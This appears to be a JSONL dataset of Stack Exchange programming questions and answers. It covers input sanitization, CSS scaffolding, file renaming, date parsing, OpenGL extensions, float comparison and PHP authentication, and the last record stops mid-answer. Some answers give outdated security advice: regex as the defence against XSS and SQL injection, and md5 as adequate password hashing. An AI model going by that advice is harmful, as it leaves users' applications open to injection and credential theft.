{"id": "hf_d5fa306812dc", "question": "<p>What is the best way to sanitize user input for a Python-based web application? Is there a single function to remove HTML characters and any other necessary characters combinations to prevent an <a href=\"http://en.wikipedia.org/wiki/Cross-site_scripting\" rel=\"noreferrer\">XSS</a> or SQL injection attack?</p>\n", "question_body": "", "answer": "If you are using a framework like\ndjango\n, the framework can easily do this for you using standard filters.  In fact, I'm pretty sure django automatically does it unless you tell it not to.\nOtherwise, I would recommend using some sort of regex validation before accepting inputs from forms.  I don't think there's a silver bullet for your problem, but using the re module, you should be able to construct what you need.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:48.769081"}
{"id": "hf_07be962dd09e", "question": "<p>My HTML is all marked up, ready to make it rain CSS.  The problem is that I have to go back and find out what all my id and class names are so I can get started.  What I need is a tool that parses my HTML and spits out a stylesheet with all the possible elements ready to be styled (maybe even with some defaults).  Does such a tool exist?</p>\n", "question_body": "", "answer": "I have a poor man's version of this I have used in the past... this requires jquery and firebug...\n```\n```\n<script type=\"text/javascript\">\n    $(document).ready(function() {\n\n        $('*[@id]').each(function() {\n            console.log('#' + this.id + ' {}');\n        });\n        $('*[@class]').each(function() {\n            $.each($(this).attr('class').split(\" \"), function() {\n                console.log('.' + this + ' {}');\n            });\n        });\n     });\n</script>\n```\n```\nit gives you something like this:\n```\n```\n#spinner {}\n#log {}\n#area {}\n.cards {}\n.dialog {}\n.controller {}\n```\n```\nif you want them in \"natural\" page order instead...\n```\n```\n<script type=\"text/javascript\">\n    $(document).ready(function() {\n         $('*').each(function() {\n             if($(this).is('[@id]')) {\n                 console.log('#' + this.id + ' {}');\n             }\n             if($(this).is('[@class]')) {\n                 $.each($(this).attr('class').split(\" \"), function() {\n                     console.log('.' + this + ' {}');\n                 });\n             }\n         });\n     });\n</script>\n```\n```\nI just load the page with that script in there, then cut and paste the results out of firebug... then obviously, remove the script :)\nyou'll need to remove the dups manually or just toss in some simple dup checking logic with a map or array or something.. one for IDs and one for classes.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:48.839631"}
{"id": "hf_22746f29d045", "question": "<p>I would like to rename files and folders recursively by applying a string replacement operation.</p>\n\n<p>E.g. The word \"shark\" in files and folders should be replaced by the word \"orca\".</p>\n\n<p><code>C:\\Program Files\\Shark Tools\\Wire Shark\\Sharky 10\\Shark.exe</code> </p>\n\n<p>should be moved to:</p>\n\n<p><code>C:\\Program Files\\Orca Tools\\Wire Orca\\Orcay 10\\Orca.exe</code></p>\n\n<p>The same operation should be of course applied to each child object in each folder level as well.</p>\n\n<p>I was experimenting with some of the members of the <code>System.IO.FileInfo</code> and <code>System.IO.DirectoryInfo</code> classes but didn't find an easy way to do it.</p>\n\n<pre><code>fi.MoveTo(fi.FullName.Replace(\"shark\", \"orca\"));\n</code></pre>\n\n<p>Doesn't do the trick.</p>\n\n<p>I was hoping there is some kind of \"genius\" way to perform this kind of operation.\n­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­</p>\n", "question_body": "", "answer": "So you would use recursion. Here is a powershell example that should be easy to convert to C#:\n```\n```\nfunction Move-Stuff($folder)\n{\n    foreach($sub in [System.IO.Directory]::GetDirectories($folder))\n      {\n        Move-Stuff $sub\n    }\n    $new = $folder.Replace(\"Shark\", \"Orca\")\n    if(!(Test-Path($new)))\n    {\n        new-item -path $new -type directory\n    }\n    foreach($file in [System.IO.Directory]::GetFiles($folder))\n    {\n        $new = $file.Replace(\"Shark\", \"Orca\")\n        move-item $file $new\n    }\n}\n\nMove-Stuff \"C:\\Temp\\Test\"\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:48.899256"}
{"id": "hf_7c1e830e64cb", "question": "<p>I would like to have a nice template for doing this in development. How do I reset an increment identity's starting value in SQL Server?</p>\n", "question_body": "", "answer": "```\n```\nDBCC CHECKIDENT('TableName', RESEED, 0)\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:48.960142"}
{"id": "hf_5368113b61ff", "question": "<p>How do I convert a DateTime structure to its equivalent <a href=\"http://www.ietf.org/rfc/rfc3339.txt\" rel=\"noreferrer\">RFC 3339</a> formatted string representation and/or parse this string representation back to a <a href=\"http://msdn.microsoft.com/en-us/library/system.datetime.aspx\" rel=\"noreferrer\">DateTime</a> structure? The RFC-3339 date-time format is used in a number of specifications such as the <a href=\"http://www.atomenabled.org/developers/syndication/atom-format-spec.php#date.constructs\" rel=\"noreferrer\">Atom Syndication Format</a>.</p>\n", "question_body": "", "answer": "This is an implementation in C# of how to parse and convert a DateTime to and from its RFC-3339 representation. The only restriction it has is that the DateTime is in Coordinated Universal Time (UTC).\n```\n```\nusing System;\nusing System.Globalization;\n\nnamespace DateTimeConsoleApplication\n{\n    /// <summary>\n    /// Provides methods for converting <see cref=\"DateTime\"/> structures to and from the equivalent RFC 3339 string representation.\n    /// </summary>\n    public static class Rfc3339DateTime\n    {\n        //============================================================\n        //  Private members\n        //============================================================\n        #region Private Members\n        /// <summary>\n        /// Private member to hold array of formats that RFC 3339 date-time representations conform to.\n        /// </summary>\n        private static string[] formats = new string[0];\n        /// <summary>\n        /// Private member to hold the DateTime format string for representing a DateTime in the RFC 3339 format.\n        /// </summary>\n        private const string format = \"yyyy-MM-dd'T'HH:mm:ss.fffK\";\n        #endregion\n\n        //============================================================\n        //  Public Properties\n        //============================================================\n        #region Rfc3339DateTimeFormat\n        /// <summary>\n        /// Gets the custom format specifier that may be used to represent a <see cref=\"DateTime\"/> in the RFC 3339 format.\n        /// </summary>\n        /// <value>A <i>DateTime format string</i> that may be used to represent a <see cref=\"DateTime\"/> in the RFC 3339 format.</value>\n        /// <remarks>\n        /// <para>\n        /// This method returns a string representation of a <see cref=\"DateTime\"/> that \n        /// is precise to the three most significant digits of the seconds fraction; that is, it represents \n        /// the milliseconds in a date and time value. The <see cref=\"Rfc3339DateTimeFormat\"/> is a valid \n        /// date-time format string for use in the <see cref=\"DateTime.ToString(String, IFormatProvider)\"/> method.\n        /// </para>\n        /// </remarks>\n        public static string Rfc3339DateTimeFormat\n        {\n            get\n            {\n                return format;\n            }\n        }\n        #endregion\n\n        #region Rfc3339DateTimePatterns\n        /// <summary>\n        /// Gets an array of the expected formats for RFC 3339 date-time string representations.\n        /// </summary>\n        /// <value>\n        /// An array of the expected formats for RFC 3339 date-time string representations \n        /// that may used in the <see cref=\"DateTime.TryParseExact(String, string[], IFormatProvider, DateTimeStyles, out DateTime)\"/> method.\n        /// </value>\n        public static string[] Rfc3339DateTimePatterns\n        {\n            get\n            {\n                if (formats.Length > 0)\n                {\n                    return formats;\n                }\n                else\n                {\n                    formats = new string[11];\n\n                    // Rfc3339DateTimePatterns\n                    formats[0] = \"yyyy'-'MM'-'dd'T'HH':'mm':'ss'.'fffffffK\";\n                    formats[1] = \"yyyy'-'MM'-'dd'T'HH':'mm':'ss'.'ffffffK\";\n                    formats[2] = \"yyyy'-'MM'-'dd'T'HH':'mm':'ss'.'fffffK\";\n                    formats[3] = \"yyyy'-'MM'-'dd'T'HH':'mm':'ss'.'ffffK\";\n                    formats[4] = \"yyyy'-'MM'-'dd'T'HH':'mm':'ss'.'fffK\";\n                    formats[5] = \"yyyy'-'MM'-'dd'T'HH':'mm':'ss'.'ffK\";\n                    formats[6] = \"yyyy'-'MM'-'dd'T'HH':'mm':'ss'.'fK\";\n                    formats[7] = \"yyyy'-'MM'-'dd'T'HH':'mm':'ssK\";\n\n                    // Fall back patterns\n                    formats[8] = \"yyyy'-'MM'-'dd'T'HH':'mm':'ss'.'fffffffK\"; // RoundtripDateTimePattern\n                    formats[9] = DateTimeFormatInfo.InvariantInfo.UniversalSortableDateTimePattern;\n                    formats[10] = DateTimeFormatInfo.InvariantInfo.SortableDateTimePattern;\n\n                    return formats;\n                }\n            }\n        }\n        #endregion\n\n        //============================================================\n        //  Public Methods\n        //============================================================\n        #region Parse(string s)\n        /// <summary>\n        /// Converts the specified string representation of a date and time to its <see cref=\"DateTime\"/> equivalent.\n        /// </summary>\n        /// <param name=\"s\">A string containing a date and time to convert.</param>\n        /// <returns>A <see cref=\"DateTime\"/> equivalent to the date and time contained in <paramref name=\"s\"/>.</returns>\n        /// <remarks>\n        /// The string <paramref name=\"s\"/> is parsed using formatting information in the <see cref=\"DateTimeFormatInfo.InvariantInfo\"/> object.\n        /// </remarks>\n        /// <exception cref=\"ArgumentNullException\"><paramref name=\"s\"/> is a <b>null</b> reference (Nothing in Visual Basic).</exception>\n        /// <exception cref=\"FormatException\"><paramref name=\"s\"/> does not contain a valid RFC 3339 string representation of a date and time.</exception>\n        public static DateTime Parse(string s)\n        {\n            //------------------------------------------------------------\n            //  Validate parameter\n            //------------------------------------------------------------\n            if(s == null)\n            {\n                throw new ArgumentNullException(\"s\");\n            }\n\n            DateTime result;\n            if (Rfc3339DateTime.TryParse(s, out result))\n            {\n                return result;\n            }\n            else\n            {\n                throw new FormatException(String.Format(null, \"{0} is not a valid RFC 3339 string representation of a date and time.\", s));\n            }\n        }\n        #endregion\n\n        #region ToString(DateTime utcDateTime)\n        /// <summary>\n        /// Converts the value of the specified <see cref=\"DateTime\"/> object to its equivalent string representation.\n        /// </summary>\n        /// <param name=\"utcDateTime\">The Coordinated Universal Time (UTC) <see cref=\"DateTime\"/> to convert.</param>\n        /// <returns>A RFC 3339 string representation of the value of the <paramref name=\"utcDateTime\"/>.</returns>\n        /// <remarks>\n        /// <para>\n        /// This method returns a string representation of the <paramref name=\"utcDateTime\"/> that \n        /// is precise to the three most significant digits of the seconds fraction; that is, it represents \n        /// the milliseconds in a date and time value.\n        /// </para>\n        /// <para>\n        /// While it is possible to display higher precision fractions of a second component of a time value, \n        /// that value may not be meaningful. The precision of date and time values depends on the resolution \n        /// of the system clock. On Windows NT 3.5 and later, and Windows Vista operating systems, the clock's \n        /// resolution is approximately 10-15 milliseconds.\n        /// </para>\n        /// </remarks>\n        /// <exception cref=\"ArgumentException\">The specified <paramref name=\"utcDateTime\"/> object does not represent a <see cref=\"DateTimeKind.Utc\">Coordinated Universal Time (UTC)</see> value.</exception>\n        public static string ToString(DateTime utcDateTime)\n        {\n            if (utcDateTime.Kind != DateTimeKind.Utc)\n            {\n                throw new ArgumentException(\"utcDateTime\");\n            }\n\n            return utcDateTime.ToString(Rfc3339DateTime.Rfc3339DateTimeFormat, DateTimeFormatInfo.InvariantInfo);\n        }\n        #endregion\n\n        #region TryParse(string s, out DateTime result)\n        /// <summary>\n        /// Converts the specified string representation of a date and time to its <see cref=\"DateTime\"/> equivalent.\n        /// </summary>\n        /// <param name=\"s\">A string containing a date and time to convert.</param>\n        /// <param name=\"result\">\n        /// When this method returns, contains the <see cref=\"DateTime\"/> value equivalent to the date and time \n        /// contained in <paramref name=\"s\"/>, if the conversion succeeded, \n        /// or <see cref=\"DateTime.MinValue\">MinValue</see> if the conversion failed. \n        /// The conversion fails if the s parameter is a <b>null</b> reference (Nothing in Visual Basic), \n        /// or does not contain a valid string representation of a date and time. \n        /// This parameter is passed uninitialized.\n        /// </param>\n        /// <returns><b>true</b> if the <paramref name=\"s\"/> parameter was converted successfully; otherwise, <b>false</b>.</returns>\n        /// <remarks>\n        /// The string <paramref name=\"s\"/> is parsed using formatting information in the <see cref=\"DateTimeFormatInfo.InvariantInfo\"/> object.\n        /// </remarks>\n        public static bool TryParse(string s, out DateTime result)\n        {\n            //------------------------------------------------------------\n            //  Attempt to convert string representation\n            //------------------------------------------------------------\n            bool wasConverted   = false;\n            result              = DateTime.MinValue;\n\n            if (!String.IsNullOrEmpty(s))\n            {\n                DateTime parseResult;\n                if (DateTime.TryParseExact(s, Rfc3339DateTime.Rfc3339DateTimePatterns, DateTimeFormatInfo.InvariantInfo, DateTimeStyles.AdjustToUniversal, out parseResult))\n                {\n                    result          = DateTime.SpecifyKind(parseResult, DateTimeKind.Utc);\n                    wasConverted    = true;\n                }\n            }\n\n            return wasConverted;\n        }\n        #endregion\n    }\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:49.007700"}
{"id": "hf_e1885741c6b5", "question": "<p>How do you use network sockets in Pascal?\n­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­</p>\n", "question_body": "", "answer": "Here's an example taken from\nhttp://www.bastisoft.de/programmierung/pascal/pasinet.html\n```\n```\nprogram daytime;\n\n{ Simple client program }\n\nuses\n   sockets, inetaux, myerror;\n\nconst\n   RemotePort : Word = 13;\n\nvar\n   Sock : LongInt;\n   sAddr : TInetSockAddr;\n   sin, sout : Text;\n   Line : String;\n\nbegin\n   if ParamCount = 0 then GenError('Supply IP address as parameter.');\n\n   with sAddr do\n   begin\n      Family := af_inet;\n      Port := htons(RemotePort);\n      Addr := StrToAddr(ParamStr(1));\n      if Addr = 0 then GenError('Not a valid IP address.');\n   end;\n\n   Sock := Socket(af_inet, sock_stream, 0);\n   if Sock = -1 then SockError('Socket: ');\n\n   if not Connect(Sock, sAddr, sizeof(sAddr)) then SockError('Connect: ');\n   Sock2Text(Sock, sin, sout);\n   Reset(sin);\n   Rewrite(sout);\n\n   while not eof(sin) do   \n   begin\n      Readln(sin, Line);\n      Writeln(Line);\n   end;\n\n   Close(sin);\n   Close(sout);\n   Shutdown(Sock, 2);\nend.\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:49.057183"}
{"id": "hf_2b623287cbdd", "question": "<p>I'm trying to find the best way to speed up the delivery of the static images that compose the design of an mvc site. The images are not gzipped, nor cached in the server or on the client (with  content expire). Options are:</p>\n\n<ol>\n<li>Find why images are not cached and gzipped direcly from IIS6</li>\n<li>Write a specialized http handler</li>\n<li>Register a special route for static images and write a bynary actionresult method</li>\n</ol>\n\n<p>What could be the best solution in terms of performance?</p>\n", "question_body": "", "answer": "Best solution is to let IIS do it.\nIIS6 Compression\n- most likely you need to\nspecify file types to be compressed\nlike .jpg, .png, .gif types, etc.\nCaching will come from making sure that the correct headers are being sent to the client from code, and i believe there is a setting you can set in IIS that enables it for static content, but i'm not sure on that one.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:49.092867"}
{"id": "hf_cf68f150e714", "question": "<p>I have a simple CAML query like</p>\n\n<pre><code>&lt;Where&gt;&lt;Eq&gt;&lt;Field=\"FieldName\"&gt;&lt;Value Type=\"Text\"&gt;Value text&lt;/Value&gt;&lt;/Field&gt;&lt;/Eq&gt;&lt;/Where&gt;\n</code></pre>\n\n<p>And I have a variable to substitute for <code>Value text</code>. What's the best way to validate/escape the text that is substituted here in the .NET framework?\nI've done a quick web search on this problem but all what I found was <a href=\"http://msdn.microsoft.com/en-us/library/system.xml.xmlconvert.aspx\" rel=\"nofollow noreferrer\"><code>System.Xml.Convert</code></a> class but this seems to be not quite what I need here.</p>\n\n<p>I know I could have gone with an <code>XmlWriter</code> here, but it seems like a lot of code for such a simple task where I just need to make sure that the <code>Value text</code> part is formatted well.</p>\n", "question_body": "", "answer": "use\n```\nSystem.Xml.Linq.XElement\n```\nand\n```\nSetValue\n```\nmethod. This will format the text\n(assuming a string)\n, but also allows you to set xml as the value.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:49.117111"}
{"id": "hf_c8051dd5f3a2", "question": "<p>I know what <code>yield</code> does, and I've seen a few examples, but I can't think of real life applications, have you used it to solve some specific problem?</p>\n\n<p>(Ideally some problem that cannot be solved some other way)</p>\n", "question_body": "", "answer": "actually I use it in a non traditional way on my site\nIdeaPipe\n```\n```\npublic override IEnumerator<T> GetEnumerator()\n{\n    // goes through the collection and only returns the ones that are visible for the current user\n    // this is done at this level instead of the display level so that ideas do not bleed through\n    // on services\n    foreach (T idea in InternalCollection)\n        if (idea.IsViewingAuthorized)\n            yield return idea;\n}\n```\n```\nso basically it checks if viewing the idea is currently authorized and if it is it returns the idea.  If it isn't, it is just skipped.  This allows me to cache the Ideas but still display the ideas to the users that are authorized.  Else I would have to re pull them each time based on permissions, when they are only re-ranked every 1 hour.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 1.0, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:49.189555"}
{"id": "hf_b413b45f96eb", "question": "<p>I've got a Palm OS/Garnet 68K application that uses a third-party static library built with CodeWarrior.  Can I rebuilt the application using PRC-Tools, the port of GCC for the Palm OS platform and still link with the third-party library?</p>\n", "question_body": "", "answer": "No, CodeWarrior uses a different object file format than PRC-Tools.  Also, the compiler support libraries are different, so even if the code could be linked together, it may use symbols in a different way.\nHowever, if you can wrap the third-party library into a shared library using CodeWarrior, then you should be able to call it from PRC-Tools applications.  The shared library interface works across tools, but shared libraries have limited system support, so you'll need to be sure the original code doesn't use global variables for this to work.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:49.213496"}
{"id": "hf_28da592424e3", "question": "<p>I know that IList is the interface and List is the concrete type but I still don't know when to use each one. What I'm doing now is if I don't need the Sort or FindAll methods I use the interface. Am I right? Is there a better way to decide when to use the interface or the concrete type?</p>\n", "question_body": "", "answer": "I don't think there are hard and fast rules for this type of thing, but I usually go by the guideline of using the lightest possible way until absolutely necessary.\nFor example, let's say you have a\n```\nPerson\n```\nclass and a\n```\nGroup\n```\nclass. A\n```\nGroup\n```\ninstance has many people, so a List here would make sense. When I declare the list object in\n```\nGroup\n```\nI will use an\n```\nIList<Person>\n```\nand instantiate it as a\n```\nList\n```\n.\n```\n```\npublic class Group {\n  private IList<Person> people;\n\n  public Group() {\n    this.people = new List<Person>();\n  }\n}\n```\n```\nAnd, if you don't even need everything in\n```\nIList\n```\nyou can always use\n```\nIEnumerable\n```\ntoo. With modern compilers and processors, I don't think there is really any speed difference, so this is more just a matter of style.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:49.248310"}
{"id": "hf_bf752c84e74e", "question": "<p>I've tried to do this several times with no luck.  After reading <a href=\"https://stackoverflow.com/questions/1451/what-is-the-best-way-to-handle-multiple-permission-types#1477\">this post</a>, it made me interested in doing this again.  So can anyone tell me why the following doesn't work?</p>\n\n<pre><code>&lt;?php\n\n$guest = 1;\n$editor = 2;\n$admin = 4;\n\n$user = $editor;\n\nif( $user == ($editor | $admin) ) {\n    echo \"Test\";    \n}\n\n?&gt;\n</code></pre>\n", "question_body": "", "answer": "It's been a long time since I used PHP, but I will assume that this will work:\n```\n```\n<?php\n\n    $guest = 1;\n    $editor = 2;\n    $admin = 4;\n\n    $user = $editor;\n\n    if( ($user == $editor) || ($user == $admin) ) {\n        echo \"Test\";    \n    }\n\n?>\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:49.276130"}
{"id": "hf_b9242b042fe9", "question": "<p>In Perl, you can execute system commands using system() or `` (backticks). You can even capture the output of the command into a variable. However, this hides the program execution in the background so that the person executing your script can't see it. </p>\n\n<p>Normally this is useful but sometimes I want to see what is going on behind the scenes. How do you make it so the commands executed are printed to the terminal, and those programs' output printed to the terminal? This would be the <code>.bat</code> equivalent of \"@echo on\".</p>\n", "question_body": "", "answer": "Use open instead. Then you can capture the output of the command.\n```\n```\nopen(LS,\"|ls\");\nprint LS;\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:49.335334"}
{"id": "hf_8bc367265359", "question": "<p>I am creating an ZIP file with <code>ZipFile</code> in Python 2.5, it works OK so far:</p>\n<pre><code>import zipfile, os\n\nlocfile = &quot;test.txt&quot;\nloczip = os.path.splitext (locfile)[0] + &quot;.zip&quot;\nzip = zipfile.ZipFile (loczip, &quot;w&quot;)\nzip.write (locfile)\nzip.close()\n</code></pre>\n<p>But I couldn't find how to encrypt the files in the ZIP file.\nI could use system and call <code>PKZIP -s</code>, but I suppose there must be a more &quot;Pythonic&quot; way.  I'm looking for an open source solution.</p>\n", "question_body": "", "answer": "You can use the\nChilkat\nlibrary.  It's commercial, but has a free evaluation and seems pretty nice.\nHere's an example I got from\nhere\n:\n```\n```\nimport chilkat\n\n# Demonstrates how to create a WinZip-compatible 128-bit AES strong encrypted zip\nzip = chilkat.CkZip()\nzip.UnlockComponent(\"anything for 30-day trial\")\n\nzip.NewZip(\"strongEncrypted.zip\")\n\n# Set the Encryption property = 4, which indicates WinZip compatible AES encryption.\nzip.put_Encryption(4)\n# The key length can be 128, 192, or 256.\nzip.put_EncryptKeyLength(128)\nzip.SetPassword(\"secret\")\n\nzip.AppendFiles(\"exampleData/*\",True)\nzip.WriteZip()\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:49.381703"}
{"id": "hf_97f1065f2a64", "question": "<p>Browse to a webpage with hyperlinks using  IE (I am using IE7) Once on the page, enlarge the fonts using ctl + mouse wheel. Now when  you try to hover over the hyperlinks, they are laterally displaced to the right. To click on the link, i have to move the mouse to the right till the cursor turns into a hand. \nAnyone has a comment on this??</p>\n\n<hr>\n\n<p><a href=\"http://blogs.msdn.com/tom/archive/2008/08/19/hyper-v-and-visual-studio-2008-sp1.aspx\" rel=\"nofollow noreferrer\">I was browsing the following page</a>.</p>\n\n<p>It is the 2nd hyperlink in the body of the article. (the link text is \"here\")</p>\n", "question_body": "", "answer": "All of the links on that page are displaced to the right on my copy of IE7 (7.0.6001.18000) even before I enlarge or shrink the fonts.  Whereas other pages act normally.  (My test page was\nhttp://www.frito-lay.com/fl/flstore/cgi-bin/good_questions.htm\n).\nIt appears to be something specific to the page.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:49.404340"}
{"id": "hf_08c2718f217e", "question": "<p>What would be the most efficient way to compare two <code>double</code> or two <code>float</code> values?</p>\n\n<p>Simply doing this is not correct:</p>\n\n<pre><code>bool CompareDoubles1 (double A, double B)\n{\n   return A == B;\n}\n</code></pre>\n\n<p>But something like:</p>\n\n<pre><code>bool CompareDoubles2 (double A, double B) \n{\n   diff = A - B;\n   return (diff &lt; EPSILON) &amp;&amp; (-diff &lt; EPSILON);\n}\n</code></pre>\n\n<p>Seems to waste processing.</p>\n\n<p>Does anyone know a smarter float comparer?</p>\n", "question_body": "", "answer": "The comparison with an epsilon value is what most people do (even in game programming).\nYou should change your implementation a little though:\n```\n```\nbool AreSame(double a, double b)\n{\n    return fabs(a - b) < EPSILON;\n}\n```\n```\nEdit: Christer has added a stack of great info on this topic on a\nrecent blog post\n. Enjoy.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:49.465460"}
{"id": "hf_f2e0deaa467b", "question": "<p>In relation to this question on <a href=\"https://stackoverflow.com/questions/14413/using-opengl-extensions-on-windows\">Using OpenGL extensions</a>, what's the purpose of these extension functions? Why would I want to use them? Further, are there any tradeoffs or gotchas associated with using them?</p>\n", "question_body": "", "answer": "The OpenGL standard allows individual vendors to provide additional functionality through extensions as new technology is created. Extensions may introduce new functions and new constants, and may relax or remove restrictions on existing OpenGL functions.\nEach vendor has an alphabetic abbreviation that is used in naming their new functions and constants. For example, NVIDIA's abbreviation (NV) is used in defining their proprietary function glCombinerParameterfvNV() and their constant GL_NORMAL_MAP_NV.\nIt may happen that more than one vendor agrees to implement the same extended functionality. In that case, the abbreviation EXT is used. It may further happen that the Architecture Review Board \"blesses\" the extension. It then becomes known as a standard extension, and the abbreviation ARB is used. The first ARB extension was GL_ARB_multitexture, introduced in version 1.2.1. Following the official extension promotion path, multitexturing is no longer an optionally implemented ARB extension, but has been a part of the OpenGL core API since version 1.3.\nBefore using an extension a program must first determine its availability, and then obtain pointers to any new functions the extension defines. The mechanism for doing this is platform-specific and libraries such as GLEW and GLEE exist to simplify the process.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:49.487708"}
{"id": "hf_493124c0bb5f", "question": "<p>I've been using OpenGL extensions on Windows the <a href=\"https://stackoverflow.com/questions/14413/using-opengl-extensions-on-windows\">painful way</a>. Is GLEW the easier way to go? How do I get started with it?</p>\n", "question_body": "", "answer": "Yes, the\nOpenGL Extension Wrangler Library\n(GLEW) is a painless way to use OpenGL extensions on Windows. Here's how to get started on it:\nIdentify the OpenGL extension and the extension APIs you wish to use. OpenGL extensions are listed in the\nOpenGL Extension Registry\n.\nCheck if your graphic card supports the extensions you wish to use. Download and install the latest drivers and SDKs for your graphics card.\nRecent versions of\nNVIDIA OpenGL SDK\nship with GLEW. If you're using this, then you don't need to do some of the following steps.\nDownload\nGLEW\nand unzip it.\nAdd the GLEW\nbin\npath to your Windows\nPATH\nenvironment variable. Alternatively, you can also place the\nglew32.dll\nin a directory where Windows picks up its DLLs.\nAdd the GLEW\ninclude\npath to your compiler's include directory list.\nAdd the GLEW\nlib\npath to your compiler's library directory list.\nInstruct your compiler to use\nglew32.lib\nduring linking. If you're using Visual C++ compilers then one way to do this is by adding the following line to your code:\n```\n```\n#pragma comment(lib, \"glew32.lib\")\n```\n```\nAdd a\n```\n#include <GL/glew.h>\n```\nline to your code. Ensure that this is placed above the includes of other GL header files. (You may actually not need the GL header files includes if you include\n```\nglew.h\n```\n.)\nInitialize GLEW using\n```\nglewInit()\n```\nafter you've initialized GLUT or GL. If it fails, then something is wrong with your setup.\n```\n```\nif (GLEW_OK != glewInit())\n{\n    // GLEW failed!\n    exit(1);\n}\n```\n```\nCheck if the extension(s) you wish to use are now available through GLEW. You do this by checking a boolean variable named\nGLEW\n_your_extension_name\nwhich is exposed by GLEW.\nExample:\n```\n```\nif (!GLEW_EXT_framebuffer_object)\n{\n    exit(1);\n}\n```\n```\nThat's it! You can now use the OpenGL extension calls in your code just as if they existed naturally for Windows.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:49.525361"}
{"id": "hf_d01033c3495c", "question": "<p>I have a PHP script that runs as a CGI program and the HTTP <code>Authenticate</code> header gets eaten and spit out. So I would like to implement some kind of FORM based authentication. As an added constraint, there is no database so no session data can be stored.</p>\n\n<p>I am very open to having a master username and password. I just need to protect the application from an intruder who doesn't know these credentials.</p>\n\n<p>So how would you implement this?</p>\n\n<p>Cookies?</p>\n\n<p>I could present the form and if it validates, I can send back a cookie that is a hash of the IP address come secret code. Then I can prevent pages from rendering unless the thing decrypts correctly. But I have no idea how to implement that in PHP.</p>\n", "question_body": "", "answer": "A few ways you could do this.\nhtaccess\n-- have your webserver handle securing the pages in question (not exactly cgi form based though).\nUse cookies and some sort of hashing algorithm (md5 is good enough) to store the passwords in a flat file where each line in the file is username:passwordhash.  Make sure to\nsalt\nyour hashes for extra security vs rainbow tables. (This method is a bit naive... be\nvery\ncareful with security if you go this route)\nuse something like a\nsqlite\ndatabase just to handle authentication.  Sqlite is compact and simple enough that it may still meet your needs even if you don't want a big 